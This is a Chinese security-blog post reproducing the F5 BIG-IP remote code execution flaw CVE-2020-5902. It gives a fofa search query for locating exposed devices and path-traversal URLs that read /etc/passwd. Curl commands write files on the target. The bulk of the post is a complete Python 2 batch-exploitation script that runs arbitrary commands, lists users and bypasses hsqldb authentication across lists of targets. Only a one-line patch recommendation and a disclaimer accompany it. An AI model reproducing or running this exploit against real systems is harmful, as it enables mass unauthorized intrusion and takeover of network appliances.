继续分享F5 BIG-IP RCE(CVE-2020-5902)复现

admin 2022年5月29日14:42:52安全文章评论16 views13586字阅读45分17秒阅读模式

昨天已经写了一个关于F5 BIG-IP的漏洞,今天继续分享给大家一个 


漏洞复现

同样祭出fofa大法,fofa语法如下

title="BIG-IP&reg" 

我们随便点开一个

继续分享F5 BIG-IP RCE(CVE-2020-5902)复现


利用poc


1.登录管理页面就存在漏洞,使用poc进行测试任意目录文件读取:

https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

继续分享F5 BIG-IP RCE(CVE-2020-5902)复现

https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts


2写入文件

curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d 

"fileName=/tmp/success&content=CVE-2020-5902"

"https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"

继续分享F5 BIG-IP RCE(CVE-2020-5902)复现

读取文件

curl -k "https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"  

继续分享F5 BIG-IP RCE(CVE-2020-5902)复现


反弹shell 也可以但是这里就不测试了,可能还会权限低无法使用

6.利用工具 

批量工具检测  pyhton2 写的 

python name.py -f flieip.txt --rce whoami --still-exploit -s 15 -t 20

#coding:utf-8#Author:LSA#Date:20200707#Description:f5-bigip-rce-cve-2020-5902,fileRead+fileSave+tmshCmd+hsqldb auth bypass


import requestsimport optparseimport sysimport jsonimport osimport threadingimport Queueimport datetime
reload(sys)sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)

headers = {"User-Agent": "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7"}

lock = threading.Lock()
q0 = Queue.Queue()threadList = []
succ = 0



def f5FileRead(tgtIP,fileRead,timeout):

tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=' + fileRead

fileReadRsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
return fileReadRsp




def f5FileSave(tgtIP,timeout,filePath,fileContent='null'):
tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp'
fileData = {"fileName": filePath, "content": fileContent} #md5(check-CVE-2020-5902-xxx)

fileSaveRsp = requests.post(tgtUrl,headers=headers,data=fileData,timeout=timeout,verify=False)
if fileSaveRsp.status_code == 200: fileReadRsp = f5FileRead(tgtIP,filePath,timeout) if fileContent in fileReadRsp.text: print filePath + ' saved successfully' else: print filePath + ' seems to have saved,but f5FileRead return content not right,please check manually.' return True
else: print str(fileSaveRsp.status_code) + 'n' + fileSaveRsp.text print filePath + ' seems to have saved,but fileSaveRspStatusCode or fileSaveRspText return content not right,please check manually.' return False

def f5ListAuthUsers(tgtIP,timeout): tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user' f5ListAuthUserRsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)

if f5ListAuthUserRsp.status_code == 200: if (f5ListAuthUserRsp.json()['error'] == "") and (f5ListAuthUserRsp.json()['output'] != ""): print f5ListAuthUserRsp.json() print 'list auth users successfully!' return True else: print f5ListAuthUserRsp.json() print 'list auth users failed' return False else: print str(f5ListAuthUserRsp.status_code) print 'list auth users failed.' return False

def f5ListDirectory(tgtIP,f5Directory,timeout): tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=' + f5Directory

f5DirectoryListRsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
print str(f5DirectoryListRsp.status_code) + 'n' + f5DirectoryListRsp.text.strip()



def f5rce(tgtIP,rce,timeout,stillExploitFlag):
f5lau = f5ListAuthUsers(tgtIP,timeout)
if f5lau or stillExploitFlag:

if tgtIP.startswith(("http", "https")): tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp' else: tgtUrl = "http://" + tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp'
tmshcmdData0 = {"command": "create cli alias private list command bash"} tmshcmdData1 = {"command": "list /tmp/xtx.txt"} tmshcmdData2 = {"command": "delete cli alias private list"}
f5rceRsp0 = requests.post(tgtUrl, headers=headers, data=tmshcmdData0, timeout=timeout, verify=False)

if f5rceRsp0.status_code == 200 and f5rceRsp0.json()['error'] == "": print 'Successfully created alias list=bash'
f5RceFilePath = '/tmp/xtx.txt' f5RceFileContent = rce
f5FileSaveReturn = f5FileSave(tgtIP,timeout,f5RceFilePath,f5RceFileContent)
if f5FileSaveReturn:
f5rceRsp1 = requests.post(tgtUrl,headers=headers,data=tmshcmdData1,timeout=timeout, verify=False)
if f5rceRsp1.status_code == 200 and f5rceRsp1.json()['error'] == "": print 'rce seems to have succeed,result:n' + f5rceRsp1.text.strip()
else: print 'rce failed,result status_code:' + str(f5rceRsp1.status_code) + 'n' + f5rceRsp1.text.strip()
f5rceRsp2 = requests.post(tgtUrl,headers=headers,data=tmshcmdData2,timeout=timeout, verify=False) if f5rceRsp2.status_code == 200 and f5rceRsp2.json()['error'] == "": print 'Successfully deleted alias list=bash' else: print 'Failed to delete alias list=bash'
f5RceFileContentToReplace = 'null'
f5FileSaveReturn1 = f5FileSave(tgtIP,timeout,f5RceFilePath,f5RceFileContentToReplace)
if f5FileSaveReturn1: print 'f5FileSave replaced successfully' else: print 'f5FileSave replace failed' successInfo = [] successInfo.append(tgtIP) successInfo.append('[listAuthUser:' + str(f5lau) + ']')

successInfo.append(f5rceRsp1.json()) print successInfo return successInfo

else: print 'f5FileSave failed'
return False

else: print 'Created alias list=bash failed' return False else: print 'Exploit stopped because f5ListAuthUsers and stillExploitFlag both False.If want to exploit anyway,please use --still-exploit' return False


def f5rce_batch(rce,timeout,f4success,stillExploitFlag): global countLines while(not q0.empty()): tgtIP = q0.get()
qcount = q0.qsize()
print 'Exploiting-' + tgtIP + '---------------[' + str(countLines - qcount) + ']'
try: returnSuccessInfo = f5rce(tgtIP,rce,timeout,stillExploitFlag)


if returnSuccessInfo == False: continue

if ('True' in returnSuccessInfo[1]) or (returnSuccessInfo[2]['output'] != ""): lock.acquire() f4success.write(str(returnSuccessInfo)+'n') lock.release() global succ succ = succ + 1 else: continue
except: print "Caused exception,continue next" continue


def f5HsqldbAuthBypass(tgtIP,timeout):
urlBypass0 = tgtIP + '/hsqldb;'
hsqldbRsp = requests.get(urlBypass0, headers=headers,timeout=timeout,verify=False)
if ('HSQL Database Engine' in hsqldbRsp.text) and (hsqldbRsp.status_code == 200): print 'Use [/hsqdb;] bypass auth successfully' print hsqldbRsp.text #return True returnF5HsqldbAuthBypassInfo = tgtIP + '/hsqldb;' return returnF5HsqldbAuthBypassInfo else: urlBypass1 = tgtIP + '/hsqldb%0a'
hsqldbRsp1 = requests.get(urlBypass1, headers=headers,timeout=timeout,verify=False)
if ('HSQL Database Engine' in hsqldbRsp1.text) and (hsqldbRsp1.status_code == 200): print 'Use [/hsqdb%0a] bypass auth successfully' print hsqldbRsp1.text #return True returnF5HsqldbAuthBypassInfo = tgtIP + '/hsqldb%0a' return returnF5HsqldbAuthBypassInfo else: print 'bypass hsqldb failed' print str(hsqldbRsp.status_code) print hsqldbRsp.text return False


def f5HsqldbAuthBypassBatch(timeout,f4success):
global countLines1 while(not q0.empty()): tgtIP = q0.get()
qcount = q0.qsize()
print 'Checking[hsqldb]-' + tgtIP + '---------------[' + str(countLines1 - qcount) + ']'
try: f5HsqldbAuthBypassReturn = f5HsqldbAuthBypass(tgtIP,timeout)
except: print "Caused exception,continue next" continue
#if f5HsqldbAuthBypassReturn == True: if f5HsqldbAuthBypassReturn: lock.acquire() #f4success.write(tgtIP+'n') f4success.write(f5HsqldbAuthBypassReturn+'n') lock.release() global succ succ = succ + 1

else: continue


def f5BypassAuthCheck(tgtIP,timeout):
poc0 = '/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902' poc1 = '/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp'
tgtUrl0 = tgtIP + poc0 tgtUrl1 = tgtIP + poc1
try:
f5BypassAuthCheckRsp0 = requests.get(tgtUrl0, headers=headers, timeout=timeout, verify=False)

if (f5BypassAuthCheckRsp0.status_code == 200 and 'test5902' in f5BypassAuthCheckRsp0.text): print '[POC0]' + tgtIP + ' is vulnerable!!!' return True
else: f5BypassAuthCheckRsp1 = requests.get(tgtUrl1, headers=headers, timeout=timeout, verify=False)
if f5BypassAuthCheckRsp1.status_code == 200: print '[POC1]' + tgtIP + ' is vulnerable!!!' return True
except: print 'Caused exceptions,check stopped,please check it manuallyn' return False

print tgtIP + ' is not vulnerable' return False


def f5BypassAuthCheckBatch(timeout,f4success):
global countLines2 while(not q0.empty()): tgtIP = q0.get()
qcount = q0.qsize()
print 'Checking-' + tgtIP + '---------------[' + str(countLines2 - qcount) + ']'
try: f5BypassAuthCheckReturn = f5BypassAuthCheck(tgtIP,timeout)
except: print "Caused exception,continue next" continue
#if f5HsqldbAuthBypassReturn == True: if f5BypassAuthCheckReturn: lock.acquire() #f4success.write(tgtIP+'n') f4success.write(tgtIP+'n') lock.release() global succ succ = succ + 1

else: continue


if __name__ == '__main__':
print '''
*********************************************************** F5-BIGIP-RCE-CVE-2020-5902 * *    (fileRead.jsp+fileSave.jsp+tmshCmd.jsp+hsqldb)      ***********************************************************
'''
parser = optparse.OptionParser('python %prog ' + '-h(manual)', version='%prog v1.0')
parser.add_option('-u', dest='tgtIP', type='string', help='input the single target(IP)') parser.add_option('--fileread', dest='fileRead', type='string', help='read the local file(such as /etc/passwd)') parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(7 seconds defalut)') parser.add_option('--rce', dest='rce', type='string', help='input the command to execute') parser.add_option('--filepath', dest='filePath', type='string', help='input the save file path') parser.add_option('--filecontent', dest='fileContent', type='string', help='input the save file content') parser.add_option('--list-users', dest='listUsers', action='store_true', help="list auth users") parser.add_option('--still-exploit', dest='stillExploit', action='store_true', help='still exploit although f5ListAuthUsers return False') parser.add_option('--listdir', dest='listDir', type='string', help='list directory path') parser.add_option('-f', dest='tgtIPsPath', type='string', help='target ips file') parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads') parser.add_option('--bypass-hsqldb',dest='bypassHsqldb',action='store_true',help='check /hsqldb auth bypass') parser.add_option('--check',dest='checkBypassAuth',action='store_true',help='use poc0 and poc1 to check')
(options, args) = parser.parse_args()
tgtIP = options.tgtIP
if tgtIP: if tgtIP.startswith(("http", "https")) == False: tgtIP = 'http://' + tgtIP

timeout = options.timeout fileRead = options.fileRead
filePath = options.filePath fileContent = options.fileContent
listUsers = options.listUsers
stillExploit = options.stillExploit
rce = options.rce
#threads = options.threads
listDir = options.listDir
bypassHsqldb = options.bypassHsqldb
checkBypassAuth = options.checkBypassAuth
if stillExploit: stillExploitFlag = 1 else: stillExploitFlag = 0

if tgtIP and fileRead: f5FileReadRsp = f5FileRead(tgtIP,fileRead,timeout) print str(f5FileReadRsp.status_code) + 'n' + f5FileReadRsp.text.strip() sys.exit()
if tgtIP and filePath and fileContent: f5FileSave(tgtIP,timeout,filePath,fileContent) sys.exit()
if tgtIP and listUsers: f5ListAuthUsers(tgtIP,timeout) sys.exit()

if tgtIP and rce: f5rce(tgtIP,rce,timeout,stillExploitFlag) sys.exit()
if tgtIP and listDir: f5ListDirectory(tgtIP,listDir,timeout) sys.exit()
if options.tgtIPsPath and rce: tgtIPsPath = options.tgtIPsPath threads = options.threads nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S') os.mkdir('batch_rce_result/'+str(nowtime)) f4success = open('batch_rce_result/'+str(nowtime)+'/'+'success.txt','w') #f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w') ipsFile = open(tgtIPsPath) #global countLines countLines = len(open(tgtIPsPath,'rU').readlines())
print '===Total ' + str(countLines) + ' urls==='
for ips in ipsFile: ips = ips.strip() if ips.startswith(("http", "https")) == False: ips = 'http://' + ips q0.put(ips) for thread in range(threads): t = threading.Thread(target=f5rce_batch,args=(rce,timeout,f4success,stillExploitFlag)) t.start() threadList.append(t) for th in threadList: th.join()

print 'n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']###' print 'Results were saved in ./batch_rce_result/' + str(nowtime) + '/' f4success.close()
if tgtIP and bypassHsqldb: f5HsqldbAuthBypass(tgtIP,timeout)
if options.tgtIPsPath and bypassHsqldb: tgtIPsPath = options.tgtIPsPath threads = options.threads nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S') os.mkdir('batch_hsqldb_auth_bypass_result/'+str(nowtime)) f4success = open('batch_hsqldb_auth_bypass_result/'+str(nowtime)+'/'+'success.txt','w') #f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w') ipsFile = open(tgtIPsPath) #global countLines1 countLines1 = len(open(tgtIPsPath,'rU').readlines())
print '===Total ' + str(countLines1) + ' urls==='
for ips in ipsFile: ips = ips.strip() if ips.startswith(("http", "https")) == False: ips = 'http://' + ips q0.put(ips) for thread in range(threads): t = threading.Thread(target=f5HsqldbAuthBypassBatch,args=(timeout,f4success)) t.start() threadList.append(t) for th in threadList: th.join()

print 'n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines1) + ']###' print 'Results were saved in ./batch_hsqldb_auth_bypass_result/' + str(nowtime) + '/' f4success.close()

if tgtIP and checkBypassAuth: f5BypassAuthCheck(tgtIP,timeout)
if options.tgtIPsPath and checkBypassAuth: tgtIPsPath = options.tgtIPsPath threads = options.threads nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S') os.mkdir('batch_check_result/'+str(nowtime)) f4success = open('batch_check_result/'+str(nowtime)+'/'+'success.txt','w') #f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w') ipsFile = open(tgtIPsPath) #global countLines2 countLines2 = len(open(tgtIPsPath,'rU').readlines())
print '===Total ' + str(countLines2) + ' urls==='
for ips in ipsFile: ips = ips.strip() if ips.startswith(("http", "https")) == False: ips = 'http://' + ips q0.put(ips) for thread in range(threads): t = threading.Thread(target=f5BypassAuthCheckBatch,args=(timeout,f4success)) t.start() threadList.append(t) for th in threadList: th.join()

print 'n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines2) + ']###' print 'Results were saved in ./batch_check_result/' + str(nowtime) + '/' f4success.close()

修复建议

F5官方已发布相关安全更新,用户可更新到安全版本。

特别声明:

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,我不为此承担任何责任。

作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者的允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 切勿用于非法,仅供学习参考


原文始发于微信公众号(深夜笔记本):继续分享F5 BIG-IP RCE(CVE-2020-5902)复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月29日14:42:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  继续分享F5 BIG-IP RCE(CVE-2020-5902)复现 http://cn-sec.com/archives/758979.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: